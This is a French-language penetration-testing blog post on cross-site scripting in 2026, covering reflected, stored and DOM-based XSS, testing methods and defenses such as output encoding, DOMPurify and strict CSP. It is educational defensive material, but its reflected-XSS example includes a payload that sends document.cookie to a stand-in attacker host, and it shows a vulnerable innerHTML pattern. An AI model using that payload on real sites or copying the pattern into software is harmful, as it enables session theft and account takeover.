Skip to content
CyberXplore - Xplore the Unseen

Cross-Site Scripting (XSS) en 2026 : le bug web qui refuse de mourir

cyberxplorePar cyberxplore15 min de lecture

Le cross-site scripting figure parmi les principales vulnérabilités web depuis plus de vingt ans et reste l’une des failles critiques les plus fréquentes que nous signalons. Voici comment fonctionnent le XSS réfléchi, stocké et DOM, comment nous les testons, et les défenses qui tiennent vraiment.

Cross-Site Scripting (XSS) en 2026 : le bug web qui refuse de mourir

Un champ de commentaire sur un site marketing nous a offert un compte administrateur. Le relecteur a saisi un commentaire. Un administrateur a ouvert la file de modération pour l’approuver. Le JavaScript caché dans ce commentaire s’est exécuté dans le navigateur de l’administrateur, cookies compris – sans mot de passe, sans appât de phishing, sans malware déposé. C’est du cross-site scripting stocké, et en 2026 nous le classons encore comme critique sur beaucoup des applications que nous testons.

On ne cesse de déclarer le XSS mort. Les frameworks échappent désormais les sorties par défaut, les navigateurs livrent des réglages plus sains, la Content-Security-Policy est partout. Tout cela est vrai. Et le cross-site scripting continue malgré tout d’atterrir dans nos rapports, parce qu’une application moderne offre plus d’endroits où injecter que jamais : templates côté client, routeurs single-page, JSON recopié dans une balise script, moteurs de rendu markdown et l’inépuisable réserve d’appels innerHTML “juste cette fois” que personne n’a signalés en revue.

Ce qui suit est la carte, dressée par un pentester de terrain, des endroits où vit le XSS aujourd’hui, de la façon dont nous le trouvons, de ce qu’il coûte quand il se déclenche, et des correctifs qui tiennent réellement.

Points clés

  • Le cross-site scripting (CWE-79) permet à un attaquant d’exécuter son JavaScript dans la session de navigateur d’un autre utilisateur, ce qui signifie généralement vol de session et prise de contrôle de compte, pas un popup inoffensif.
  • Trois classes pratiques : réfléchi (la charge utile est dans la requête et renvoyée telle quelle), stocké (la charge utile est enregistrée côté serveur et servie à d’autres utilisateurs) et basé sur le DOM (le sink vit dans le JavaScript côté client, si bien que le serveur ne le voit peut-être jamais).
  • Le correctif le plus fiable est un encodage de sortie tenant compte du contexte, appliqué au point de sortie, appuyé par une Content-Security-Policy stricte en défense en profondeur. La “sanitisation” des entrées à elle seule ne suffit pas.
  • Les scanners automatisés détectent assez bien le XSS réfléchi mais manquent régulièrement le XSS DOM et le XSS stocké qui nécessite un second utilisateur ou un workflow précis pour se déclencher.
  • Les cookies HttpOnly atténuent le vol de cookie mais n’empêchent pas le XSS d’agir au nom de l’utilisateur. C’est une mesure d’atténuation, pas un correctif.

Qu’est-ce que le cross-site scripting, et pourquoi est-ce toujours important ?

Le cross-site scripting est une vulnérabilité où une application prend des données contrôlées par l’attaquant et les insère dans une page sans séparer les données du code, si bien que le navigateur les exécute comme du script. La vieille formulation de l’OWASP tient toujours : c’est l’incapacité à tenir les entrées non fiables hors d’un contexte exécutable. Il est répertorié sous CWE-79 et figure dans l’OWASP Top 10 depuis toujours, dernièrement intégré à la catégorie Injection (A03).

Pourquoi c’est important est plus simple que la taxonomie. Quand votre script s’exécute dans le navigateur d’une victime, vous êtes cet utilisateur tant que la page reste ouverte. Vous lisez le DOM, déclenchez des requêtes authentifiées avec ses cookies, aspirez ses données, soumettez des formulaires en son nom et rebondissez à partir de là. Le proof-of-concept alert(1) qui fait lever les yeux au ciel n’est qu’une manière polie de dire “je peux exécuter du code ici.” La vraie charge utile est silencieuse et n’apparaît jamais à l’écran.

La raison pour laquelle le XSS refuse de mourir, c’est que la surface d’attaque a grandi. Il y a dix ans, la plupart des sorties se faisaient côté serveur, dans un seul langage de template, et si vous échappiez là, vous étiez à peu près tranquille. Aujourd’hui, une même page peut être rendue sur le serveur, hydratée sur le client, tirer du JSON de trois APIs et confier des chaînes à un moteur de template côté client. Chacun de ces éléments est un contexte de sortie distinct avec ses propres règles d’échappement. Le navigateur se moque de savoir quelle couche s’est trompée.

XSS réfléchi, stocké et DOM : quelle est la différence ?

Les trois classes diffèrent par l’endroit où vit la charge utile et par la façon dont elle atteint la victime. Cela change la manière de tester et la gravité.

XSS réfléchi

Le cross-site scripting réfléchi se déclenche quand l’application prend quelque chose dans la requête courante – une chaîne de requête, un champ de formulaire, un en-tête – et le réécrit directement dans la réponse. Rien n’est stocké. L’attaquant doit amener la victime à cliquer sur un lien conçu à cet effet ou à soumettre un formulaire piégé. Une page de recherche qui renvoie votre requête est le cas d’école :

GET /search?q=<script>fetch('https://attacker.example/c?'+document.cookie)</script> HTTP/1.1
Host: acme-corp.example

Si le terme revient non échappé dans le corps HTML, il s’exécute. Le XSS réfléchi est balayé d’un revers de main comme peu grave parce qu’il faut un clic. Associez-le à un prétexte crédible ou à une redirection same-site et il prend le contrôle des comptes sans problème.

XSS stocké

Le cross-site scripting stocké est celui qui me tient éveillé sur les missions clients. La charge utile est enregistrée sur le serveur – un commentaire, une bio de profil, un ticket de support, un nom de fichier, un nom d’appareil qui atterrit dans un tableau de bord admin – et servie à quiconque la consulte ensuite. La victime ne clique sur rien. Elle charge la page. Le XSS stocké dans un contexte partagé comme un panneau d’administration ou un fil d’équipe est de fait propice aux vers, et il décroche un critique dans nos rapports presque à chaque fois.

Les cas les plus laids : attaquant à faibles privilèges, victime à privilèges élevés. Vous soumettez la charge utile en tant que client. Un utilisateur interne ouvre votre dossier pour vous aider. Votre code s’exécute maintenant dans une session privilégiée. Nous avons trouvé exactement cela dans des systèmes de ticketing, des consoles de gestion d’appareils IoT et des champs de notes de CRM plus de fois que je ne peux les compter.

XSS basé sur le DOM

Le XSS DOM, c’est quand tout le flux de données vulnérable reste dans le JavaScript côté client. Le serveur peut envoyer une réponse impeccable, mais un script de la page lit une source contrôlée par l’attaquant – location.hash, location.search, document.referrer, un postMessage – et l’achemine vers un sink dangereux comme innerHTML, document.write, eval ou le binding raw-HTML d’un framework. Comme la charge utile peut ne jamais atteindre le serveur, vos logs serveur et votre WAF ne la voient jamais.

// Vulnerable pattern we still find in SPAs
const tab = decodeURIComponent(location.hash.slice(1));
document.querySelector('#panel').innerHTML = tab;
// Request: https://app.acme-corp.example/#<img src=x>

Le XSS DOM est devenu plus courant à mesure que les applications ont poussé la logique vers le client, et c’est la classe que les scanners manquent le plus. La trouver suppose de comprendre le flux de données JavaScript, pas de comparer deux réponses.

Comment testons-nous le cross-site scripting ?

Nous commençons par cartographier chaque endroit où une entrée utilisateur peut atteindre une réponse ou le DOM, puis nous testons chacun dans son véritable contexte de sortie. Avec le XSS, le contexte est tout. Une charge utile qui se déclenche dans un corps HTML ne fait rien dans une chaîne JavaScript ou un attribut HTML, et l’inverse est vrai aussi. Sortir du contexte, c’est la moitié du travail.

Le déroulé, concrètement. Nous faisons passer l’application par Burp Suite et la parcourons comme un utilisateur normal, en cataloguant les paramètres, les en-têtes et les champs JSON. Puis nous semons un canary unique qui n’apparaîtra jamais naturellement – quelque chose comme cxpl0it7 – à travers chaque entrée, et nous cherchons au grep dans la réponse brute et le DOM rendu où il atterrit et comment il a été encodé :

curl -s 'https://acme-corp.example/search?q=cxpl0it7' | grep -n cxpl0it7

Là où le canary se reflète, nous sondons cet endroit précis : les chevrons survivent-ils, les guillemets survivent-ils, est-ce à l’intérieur d’un bloc <script>, d’une valeur d’attribut, d’une URL, d’un gestionnaire d’événement ? La réponse dicte la charge utile de sortie. S’il se reflète dans un attribut entre guillemets doubles, il vous faut "> avant votre balise ; s’il se reflète dans une chaîne de script existante, vous fermez un guillemet et une instruction, vous n’ouvrez pas une balise.

Pour le XSS DOM, nous nous appuyons sur le navigateur. DOM Invader de Burp est vraiment doué pour tracer les sources jusqu’aux sinks dans les single-page apps désordonnées, et il signale les flux innerHTML et eval qu’un scanner ignore complètement. Nous lisons aussi le JavaScript. Quand une application confie des données non fiables à un moteur de template ou à un binding raw-HTML, cette seule ligne vaut plus que cent charges utiles à l’aveugle.

L’outillage automatisé gagne sa place par sa largeur de couverture. Nous lançons des templates nuclei et le scanner actif de Burp pour balayer vite les cas réfléchis évidents. Mais les critiques viennent d’un humain : la charge utile stockée qui ne se déclenche que dans la file admin, le flux DOM derrière un feature flag, le XSS par mutation qui ne se déclenche qu’après que le navigateur a re-parsé un HTML supposé assaini. Les scanners ne modélisent ni un second utilisateur victime ni un workflow en cinq étapes. C’est dans cet écart que se logent les vrais bugs.

Une opinion à laquelle je tiens fermement : “on assainit les entrées” n’est pas une réponse que j’accepte en réunion. Assainir à l’entrée casse dès l’instant où les données atterrissent dans un contexte que l’assainisseur n’a jamais anticipé, et c’est fragile face à la mutation et au double décodage. La question est où et comment vous encodez à la sortie.

Que permet réellement de faire un XSS à un attaquant ?

Exécuter du code au nom de la victime, et le résultat que nous démontrons le plus est la prise de contrôle de compte. Si les jetons de session se trouvent dans un cookie sans HttpOnly, ou dans localStorage, le script les lit et les expédie. Mettez HttpOnly et le script agit quand même en tant qu’utilisateur : il émet des requêtes authentifiées same-origin, change donc l’e-mail du compte, ajoute une clé API, désactive la MFA via l’endpoint des paramètres, ou approuve sa propre demande en attente. HttpOnly empêche le vol du jeton. Il n’empêche pas l’abus de la session.

Au-delà d’un seul compte, le XSS est un point d’appui. Un XSS stocké dans une interface d’administration peut semer une charge utile auto-propagée ou exfiltrer discrètement les données d’autres utilisateurs à grande échelle. Nous l’avons chaîné avec des défenses CSRF faibles et avec des bugs côté serveur pour passer de “exécuter du script dans un navigateur” à la compromission totale de l’application. Sur les applications exposées à l’extérieur, un bon XSS est un vecteur d’accès initial crédible ; sur les applications internes, c’est un abus direct d’identifiants et de session.

Noter un XSS “moyen parce qu’il faut un clic” est une erreur que nous voyons dans beaucoup de rapports antérieurs. La gravité dépend de qui est la victime et de ce que cette session peut faire. Un XSS stocké qui touche un admin est un critique, point final.

Comment prévenir le cross-site scripting ?

Le correctif principal est l’encodage de sortie tenant compte du contexte, appliqué à l’instant où la donnée est écrite dans une page, par un mécanisme qui connaît le contexte. Encodez différemment pour le corps HTML, l’attribut HTML, le JavaScript, l’URL et le CSS, parce que les règles diffèrent réellement. Les frameworks modernes font l’essentiel pour vous : React, Angular et Vue échappent les valeurs interpolées par défaut. Les bugs se regroupent dans les échappatoires – dangerouslySetInnerHTML, le bypassSecurityTrustHtml d’Angular, v-html, tout innerHTML écrit à la main. Traitez chacun comme une ligne à justifier en revue.

Vous devez rendre du HTML fourni par l’utilisateur pour un champ de texte enrichi ou un commentaire markdown ? N’écrivez pas votre propre assainisseur. Utilisez une bibliothèque maintenue et bien testée comme DOMPurify avec une allowlist conservatrice, et exécutez-la aussi près du sink que possible. Une blocklist artisanale contre <script> est une partie perdue d’avance ; les attaquants ont des décennies d’astuces de mutation et d’encodage et vous avez un après-midi.

La Content-Security-Policy est votre deuxième ligne, et une bonne. Une CSP stricte, basée sur des nonces, qui supprime le script inline et bloque les origines de script inconnues transforme beaucoup de bugs XSS de “prise de contrôle de compte” en “aucune exécution.” Elle ne remplace pas l’encodage – une CSP peut être mal configurée, contournée via un CDN autorisé, ou esquivée par une injection qui n’a besoin d’aucun script – mais une politique serrée a sauvé des applications que nous avons testées de failles autrement exploitables. Associez-la aux attributs de cookie HttpOnly, Secure et SameSite, et à l’API Trusted Types sur les navigateurs qui la prennent en charge pour verrouiller directement les sinks du DOM.

Content-Security-Policy: default-src 'self';
  script-src 'self' 'nonce-r4nd0mPerRequest';
  object-src 'none';
  base-uri 'none';
  require-trusted-types-for 'script';

Le tableau en couches est court. Encodez à la sortie pour que le bug n’existe jamais. Assainissez tout HTML enrichi avec une vraie bibliothèque. Déployez une CSP stricte et des cookies durcis pour que celui que vous ratez fasse le moins de dégâts possible.

Comment CyberXplore aide

Trouver le XSS qui compte – la charge utile stockée qui ne se déclenche que pour un admin, le flux DOM enfoui dans une single-page app, le bug par mutation qui se faufile devant votre assainisseur – demande un humain qui teste chaque entrée dans son véritable contexte de sortie et pense à une seconde victime. C’est le cœur de notre service de test d’intrusion d’applications web. Nous cartographions toute votre surface d’entrée, testons à la main le cross-site scripting réfléchi, stocké et basé sur le DOM aux côtés du reste de la checklist alignée sur l’OWASP, et nous prouvons l’impact avec un proof-of-concept sans danger pour que votre équipe voie exactement ce qu’obtiendrait un vrai attaquant. Chaque constat est livré avec le contexte précis, la charge utile et le changement d’encodage ou de CSP qui le referme.

Vous voulez faire tester le XSS et le reste de votre surface d’attaque web par des gens qui font ça chaque semaine ? Demandez un devis et nous en définirons le périmètre avec vous.

FAQ

Le cross-site scripting est-il toujours un risque sérieux en 2026 ?

Oui. Les frameworks à auto-échappement ont réduit le volume de XSS réfléchi trivial, mais le cross-site scripting stocké et basé sur le DOM reste parmi les constats critiques les plus fréquents sur les tests d’applications web modernes. La surface d’attaque s’est déplacée vers le client et vers les échappatoires raw-HTML, et c’est exactement là que nous continuons de le trouver.

Une Content-Security-Policy rend-elle mon application immunisée contre le XSS ?

Non, et la traiter ainsi est une erreur. Une CSP stricte basée sur des nonces est une excellente défense en profondeur et neutralise beaucoup de charges utiles, mais elle peut être mal configurée, contournée via une source de script autorisée, ou esquivée par une injection qui ne repose pas sur l’exécution de script. Utilisez la CSP en complément de l’encodage de sortie, jamais à sa place.

Les cookies HttpOnly arrêtent-ils le XSS ?

Ils empêchent le script de lire directement le cookie de session, ce qui bloque le vol de jeton le plus simple. Ils n’empêchent pas le script d’émettre des requêtes authentifiées au nom de l’utilisateur, si bien qu’un attaquant peut encore changer les paramètres du compte, ajouter des clés API ou désactiver la MFA via l’application elle-même. HttpOnly est une mesure d’atténuation précieuse, pas un correctif du bug sous-jacent.

Les scanners automatisés peuvent-ils trouver tout mon XSS ?

Ils en trouvent une partie. Les scanners gèrent bien le XSS réfléchi simple, mais ils manquent régulièrement les flux basés sur le DOM qui exigent de lire le JavaScript, et le XSS stocké qui ne se déclenche que pour un second utilisateur ou après un workflow en plusieurs étapes. Ce sont les cas les plus graves, et ils nécessitent un testeur humain pour modéliser la victime et le contexte.

Quelle est la différence entre validation des entrées et encodage des sorties pour le XSS ?

La validation des entrées vérifie les données à leur arrivée et peut rejeter les valeurs manifestement mauvaises, ce qui aide mais ne suffit pas, car une même donnée peut être sûre dans un contexte et dangereuse dans un autre. L’encodage de sortie transforme les données à l’instant où elles sont écrites dans une page, en fonction de ce contexte précis, de sorte qu’elles ne puissent pas être lues comme du code. L’encodage de sortie est la défense principale ; la validation est un contrôle d’appoint.

À quelle fréquence devrions-nous tester le cross-site scripting ?

Testez au moins une fois par an et après tout changement significatif dans la façon dont l’application rend les entrées utilisateur – une nouvelle fonctionnalité de texte enrichi, une montée de version de framework, une nouvelle vue côté client. Le scan continu attrape les régressions dans les cas évidents, mais c’est un test d’intrusion d’application web manuel, à cadence régulière, qui fait remonter le XSS stocké et DOM que les scanners manquent.

Articles associés

Transformez ces analyses en mission

Bénéficiez d'un test d'intrusion mené par des experts seniors, adapté à votre stack - des résultats exploitables, pas une simple checklist.

  • Retest gratuit de chaque correctif
  • Périmètre et devis sous 24 heures
  • Testeurs exclusivement seniors
  • ISO 27001
  • ISO 9001
  • OSCP
  • CRTP
  • CREST
Obtenir un devis